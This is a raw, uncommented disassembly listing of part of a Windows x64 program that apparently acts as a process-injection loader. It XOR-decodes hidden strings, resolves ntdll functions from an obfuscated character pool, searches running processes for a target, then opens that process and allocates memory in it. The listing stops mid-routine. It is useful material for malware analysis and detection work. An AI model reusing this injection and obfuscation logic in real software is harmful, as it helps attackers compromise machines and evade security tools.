lea rax, [rbp + 0x4240]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4260]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4280]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x42af]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd098], rax
lea rax, [rbp + 0x44ff]
mov qword [rbp + 0x4d08], rax
nop
nop
lea rdx, [rbp + 0x44ff]
lea rax, [rbp + 0x44d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x44b0]
lea rdx, [rbp + 0x44d0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4490]
lea rdx, [rbp + 0x44b0]
lea r8, [0x27ff9019f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4470]
lea rdx, [rbp + 0x4490]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4450]
lea rdx, [rbp + 0x4470]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4430]
lea rdx, [rbp + 0x4450]
lea r8, [0x27ff9018d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4410]
lea rdx, [rbp + 0x4430]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x43f0]
lea rdx, [rbp + 0x4410]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x27ff90197]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x27ff9018f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x27ff90191]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x27ff90193]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x42b0]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4410]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4430]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4450]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4470]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4490]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x44b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x44d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x44ff]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd0a0], rax
lea rax, [rbp + 0x470f]
mov qword [rbp + 0x4d00], rax
nop
nop
lea rdx, [rbp + 0x470f]
lea rax, [rbp + 0x46e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x46c0]
lea rdx, [rbp + 0x46e0]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x46a0]
lea rdx, [rbp + 0x46c0]
lea r8, [0x27ff901b5]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4680]
lea rdx, [rbp + 0x46a0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4660]
lea rdx, [rbp + 0x4680]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x27ff90195]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x27ff90197]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x27ff90175]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x27ff901a1]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x4500]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4680]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x46a0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x46c0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x46e0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x470f]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd0a8], rax
lea rax, [rbp + 0x497e]
mov qword [rbp + 0x4cf8], rax
nop
nop
lea rdx, [rbp + 0x497e]
lea rax, [rbp + 0x4950]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmyWPCThdExRsFSngObjQIfpGD
mov rcx, rax
call fcn.27feab5c0
lea rax, [rbp + 0x4930]
lea rdx, [rbp + 0x4950]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4910]
lea rdx, [rbp + 0x4930]
lea r8, [0x27ff9019d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x48f0]
lea rdx, [rbp + 0x4910]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x48d0]
lea rdx, [rbp + 0x48f0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x48b0]
lea rdx, [rbp + 0x48d0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4890]
lea rdx, [rbp + 0x48b0]
lea r8, [0x27ff9017b]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x27ff9017d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x27ff9016d]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x27ff90181]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x27ff90177]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x27ff90171]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x27ff90183]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x27ff90179]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x27ff90185]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x27ff90173]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x27ff9017f]
mov rcx, rax
call fcn.27febbf00
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x27ff90187]
mov rcx, rax
call fcn.27febbf00
lea rdx, [rbp + 0x4710]
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27feabe20
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x48b0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x48d0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x48f0]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4910]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4930]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x4950]
mov rcx, rax
call fcn.27feabde0
lea rax, [rbp + 0x497e]
mov rcx, rax
call fcn.27fe9c790
nop
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.27fe315e0
mov rbx, rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x27ffbd0b0], rax
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x497f]
mov rcx, rax
call fcn.27fe035f6
mov rax, qword [rbp + 0x4980]
mov rdx, qword [rbp + 0x4988]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov eax, dword [rbp + 0x4990]
mov dword [rbp - 0x30], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe20450
call fcn.27fe01c83
mov qword [rbp + 0x4dc0], rax
cmp qword [rbp + 0x4dc0], 0
jne 0x27fe073bf
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x499f]
mov rcx, rax
call fcn.27fe036a8
mov rax, qword [rbp + 0x49a0]
mov rdx, qword [rbp + 0x49a8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov eax, dword [rbp + 0x49b0]
mov dword [rbp - 0x30], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe20450
mov esi, 0xffffffff
mov ebx, 0
jmp 0x27fe09a71
mov rax, qword [rbp + 0x4dc0]
mov rcx, rax
call fcn.27fe01fa1
test eax, eax
sete al
test al, al
je 0x27fe07429
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49bf]
mov rcx, rax
call fcn.27fe0375a
mov rax, qword [rbp + 0x49c0]
mov rdx, qword [rbp + 0x49c8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x49cd]
mov qword [rbp - 0x33], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe20520
mov esi, 0xfffffffe
mov ebx, 0
jmp 0x27fe09a71
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x49df]
mov rcx, rax
call fcn.27fe03814
mov rax, qword [rbp + 0x49e0]
mov rdx, qword [rbp + 0x49e8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov eax, dword [rbp + 0x49ef]
mov dword [rbp - 0x31], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe20380
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x49ff]
mov rcx, rax
call fcn.27fe038be
mov rax, qword [rbp + 0x4a00]
mov rdx, qword [rbp + 0x4a08]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movzx eax, byte [rbp + 0x4a10]
mov byte [rbp - 0x30], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe202b0
call fcn.27fe01805
test eax, eax
sete al
test al, al
je 0x27fe0750c
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a1f]
mov rcx, rax
call fcn.27fe03958
mov rax, qword [rbp + 0x4a20]
mov rdx, qword [rbp + 0x4a28]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x4a2f]
mov qword [rbp - 0x31], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.27fe205f0
mov esi, 0xfffffffd
mov ebx, 0
jmp 0x27fe09a71
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a3f]
mov rcx, rax
call fcn.27fe03a22
mov rax, qword [rbp + 0x4a40]
mov rdx, qword [rbp + 0x4a48]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.27fe201c0
call fcn.27fe0354f
mov qword [rbp + 0x24b8], 0x230
mov rax, qword [0x27ff8b820]
mov qword [rbp + 0x24b0], rax
mov rax, qword [rbp + 0x24b8]
mov rdx, rax
lea rax, [0x27ff8b880]
mov rcx, rax
call fcn.27fe02610
mov dword [rbp + 0x2380], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x4db8], rax
mov dword [rbp + 0x4ddc], 0
mov byte [rbp + 0x2373], 0x5d
mov byte [rbp + 0x2374], 0x41
mov byte [rbp + 0x2375], 0x4a
mov byte [rbp + 0x2376], 0x57
mov byte [rbp + 0x2377], 0x53
mov byte [rbp + 0x2378], 0x4f
mov byte [rbp + 0x2379], 0x5b
mov byte [rbp + 0x237a], 0x4d
mov byte [rbp + 0x237b], 0x6e
mov byte [rbp + 0x237c], 0x24
mov byte [rbp + 0x237d], 0x3a
mov byte [rbp + 0x237e], 0x26
mov byte [rbp + 0x237f], 0x44
lea rdx, [rbp + 0x2380]
mov rax, qword [rbp + 0x4db8]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x27fe078d3
jmp 0x27fe078af
lea rax, [rbp + 0x2373]
mov qword [rbp + 0x4cf0], rax
mov rax, qword [rbp + 0x4cf0]
mov qword [rbp + 0x4ce8], rax
mov rax, qword [rbp + 0x4ce8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x27fe076ee
mov rax, qword [rbp + 0x4cf0]
mov rdx, qword [rbp + 0x4cf0]
mov qword [rbp + 0x4ce0], rdx
mov qword [rbp + 0x4cd8], rax
mov dword [rbp + 0x4cd4], 0
jmp 0x27fe076e4
mov eax, dword [rbp + 0x4cd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4cd8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4cd4]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ce0]
mov eax, dword [rbp + 0x4cd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4cd4], 1
cmp dword [rbp + 0x4cd4], 0xc
jle 0x27fe07685
nop
lea rax, [rbp + 0x2373]
lea rdx, [rbp + 0x2380]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x27fe078af
mov eax, dword [rbp + 0x2388]
mov dword [rbp + 0x4ddc], eax
mov byte [rbp + 0x111], 0x68
mov byte [rbp + 0x112], 0x70
mov byte [rbp + 0x113], 0x7e
mov byte [rbp + 0x114], 0x1b
mov byte [rbp + 0x115], 0x5a
mov byte [rbp + 0x116], 0x52
mov byte [rbp + 0x117], 0x4b
mov byte [rbp + 0x118], 0x51
mov byte [rbp + 0x119], 0x24
mov byte [rbp + 0x11a], 0x61
mov byte [rbp + 0x11b], 0x24
mov byte [rbp + 0x11c], 0x2c
mov byte [rbp + 0x11d], 0x36
mov byte [rbp + 0x11e], 0x65
mov byte [rbp + 0x11f], 0x46
lea rax, [rbp + 0x111]
mov qword [rbp + 0x4cc8], rax
mov rax, qword [rbp + 0x4cc8]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x27fe07841
lea rax, [rbp + 0x111]
lea rdx, [rbp + 0x111]
mov qword [rbp + 0x4cc0], rdx
mov qword [rbp + 0x4cb8], rax
mov dword [rbp + 0x4cb4], 0
jmp 0x27fe07837
mov eax, dword [rbp + 0x4cb4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4cb8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4cb4]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4cc0]
mov eax, dword [rbp + 0x4cb4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4cb4], 1
cmp dword [rbp + 0x4cb4], 0xe
jle 0x27fe077d8
nop
lea rax, [rbp + 0x111]
mov rdx, qword [rbp + 0x2373]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2378]
mov qword [rbp - 0x3b], rdx
mov ecx, dword [rbp + 0x4ddc]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rax, [0x27ff901b7]
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4cb0], 0
jmp 0x27fe078a3
mov eax, dword [rbp + 0x4cb0]
cdqe
mov byte [rbp + rax + 0x111], 0
add dword [rbp + 0x4cb0], 1
cmp dword [rbp + 0x4cb0], 0xe
jle 0x27fe0788c
nop
jmp 0x27fe078d3
lea rdx, [rbp + 0x2380]
mov rax, qword [rbp + 0x4db8]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x27fe07629
mov rax, qword [rbp + 0x4db8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x4ddc], 0
jne 0x27fe07b19
mov byte [rbp], 0x79
mov byte [rbp + 1], 0x4b
mov byte [rbp + 2], 0x5f
mov byte [rbp + 3], 0x1b
mov byte [rbp + 4], 0x45
mov byte [rbp + 5], 0x52
mov byte [rbp + 6], 0x4b
mov byte [rbp + 7], 0x1f
mov byte [rbp + 8], 0x33
mov byte [rbp + 9], 0x34
mov byte [rbp + 0xa], 0x30
mov byte [rbp + 0xb], 0x26
mov byte [rbp + 0xc], 0x64
mov byte [rbp + 0xd], 0x31
mov byte [rbp + 0xe], 0x2e
mov byte [rbp + 0xf], 0x22
mov byte [rbp + 0x10], 0x68
mov byte [rbp + 0x11], 0x3d
mov byte [rbp + 0x12], 0x2b
mov byte [rbp + 0x13], 0x39
mov byte [rbp + 0x14], 0x2b
mov byte [rbp + 0x15], 0x28
mov byte [rbp + 0x16], 0x3a
mov byte [rbp + 0x17], 0x6f
mov byte [rbp + 0x18], 0x20
mov byte [rbp + 0x19], 0x23
mov byte [rbp + 0x1a], 0x3d
mov byte [rbp + 0x1b], 0x30
mov byte [rbp + 0x1c], 0x31
mov byte [rbp + 0x1d], 0x26
mov byte [rbp + 0x1e], 0x25
mov byte [rbp + 0x1f], 0x77
mov byte [rbp + 0x20], 0x31
mov byte [rbp + 0x21], 0x2a
mov byte [rbp + 0x22], 0x7a
mov byte [rbp + 0x23], 0x29
mov byte [rbp + 0x24], 0x29
mov byte [rbp + 0x25], 0x33
mov byte [rbp + 0x26], 0x30
mov byte [rbp + 0x27], 0x36
mov byte [rbp + 0x28], 0xe
mov byte [rbp + 0x29], 6
mov byte [rbp + 0x2a], 0x5d
mov byte [rbp + 0x2b], 0x69
mov byte [rbp + 0x2c], 0x22
mov byte [rbp + 0x2d], 4
mov byte [rbp + 0x2e], 0xf
mov byte [rbp + 0x2f], 0xb
mov byte [rbp + 0x30], 0xd
mov byte [rbp + 0x31], 0xd
mov byte [rbp + 0x32], 0x4a
mov byte [rbp + 0x33], 0x1f
mov byte [rbp + 0x34], 3
mov byte [rbp + 0x35], 0x18
mov byte [rbp + 0x36], 0x5f
mov byte [rbp + 0x37], 0x53
mov byte [rbp + 0x38], 0x55
mov byte [rbp + 0x39], 0x58
mov byte [rbp + 0x3a], 0x1d
mov byte [rbp + 0x3b], 0x6e
mov byte [rbp + 0x3c], 0x76
mov byte [rbp + 0x3d], 4
mov byte [rbp + 0x3e], 0x61
mov byte [rbp + 0x3f], 0x24
mov byte [rbp + 0x40], 0x2c
mov byte [rbp + 0x41], 0x36
mov byte [rbp + 0x42], 0x65
mov byte [rbp + 0x43], 0x46
mov rax, rbp
mov qword [rbp + 0x4ca8], rax
mov rax, qword [rbp + 0x4ca8]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x27fe07aae
mov rax, rbp
mov rdx, rbp
mov qword [rbp + 0x4ca0], rdx
mov qword [rbp + 0x4c98], rax
mov dword [rbp + 0x4c94], 0
jmp 0x27fe07aa4
mov eax, dword [rbp + 0x4c94]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c98]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x4c94]
movsxd rdx, eax
imul rdx, rdx, 0x4d4873ed
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x35
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x4ca0]
mov eax, dword [rbp + 0x4c94]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4c94], 1
cmp dword [rbp + 0x4c94], 0x43
jle 0x27fe07a45
nop
mov rax, rbp
mov rdx, qword [rbp + 0x2373]
mov qword [rbp - 0x40], rdx
mov rdx, qword [rbp + 0x2378]
mov qword [rbp - 0x3b], rdx
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rax, str._s_s
mov rcx, rax
call fcn.27fe20c70
mov dword [rbp + 0x4c90], 0
jmp 0x27fe07b00
mov eax, dword [rbp + 0x4c90]
cdqe
mov byte [rbp + rax], 0
add dword [rbp + 0x4c90], 1
cmp dword [rbp + 0x4c90], 0x43
jle 0x27fe07aec
nop
mov esi, 1
mov ebx, 0
jmp 0x27fe09a71
mov qword [rbp + 0x2368], 0
mov qword [rbp + 0x2358], 0
mov eax, dword [rbp + 0x2388]
mov ecx, eax
call fcn.27fe01380
mov qword [rbp + 0x2350], rax
mov dword [rbp + 0x2320], 0x30
mov qword [rbp + 0x2328], 0
mov dword [rbp + 0x2338], 0
mov qword [rbp + 0x2330], 0
mov qword [rbp + 0x2340], 0
mov qword [rbp + 0x2348], 0
mov r10, qword [0x27ffbd080]
lea rcx, [rbp + 0x2350]
lea rdx, [rbp + 0x2320]
lea rax, [rbp + 0x2368]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
mov byte [rbp + 0x2314], 0x55
mov byte [rbp + 0x2315], 0x4a
mov byte [rbp + 0x2316], 0x4e
mov byte [rbp + 0x2317], 0x48
mov byte [rbp + 0x2318], 0x5f
mov byte [rbp + 0x2319], 0x5c
mov byte [rbp + 0x231a], 0x46
mov byte [rbp + 0x231b], 0x11
mov byte [rbp + 0x231c], 0x24
mov byte [rbp + 0x231d], 0x2d
mov byte [rbp + 0x231e], 0x2e
mov byte [rbp + 0x231f], 0x43
mov byte [rbp + 0x2300], 0x7c
mov byte [rbp + 0x2301], 0x55
mov byte [rbp + 0x2302], 0x56
mov byte [rbp + 0x2303], 0x78
mov byte [rbp + 0x2304], 0x5d
mov byte [rbp + 0x2305], 0x53
mov byte [rbp + 0x2306], 0x6b
mov byte [rbp + 0x2307], 0x51
mov byte [rbp + 0x2308], 0x2c
mov byte [rbp + 0x2309], 0x2e
mov byte [rbp + 0x230a], 0x23
mov byte [rbp + 0x230b], 0x27
mov byte [rbp + 0x230c], 0xa
mov byte [rbp + 0x230d], 0x2a
mov byte [rbp + 0x230e], 0x31
mov byte [rbp + 0x230f], 0x47
mov qword [rbp + 0x4db0], 0
mov qword [rbp + 0x22f8], 0
mov dword [rbp + 0x22ec], 0
mov qword [rbp + 0x4da8], 0xe
mov r10, qword [0x27ffbd038]
mov rax, qword [rbp + 0x2368]
lea rcx, [rbp + 0x24b8]
lea rdx, [rbp + 0x22f8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x4da4], eax
mov byte [rbp + 0x22c0], 0x76
mov byte [rbp + 0x22c1], 0x4d
mov byte [rbp + 0x22c2], 0x7b
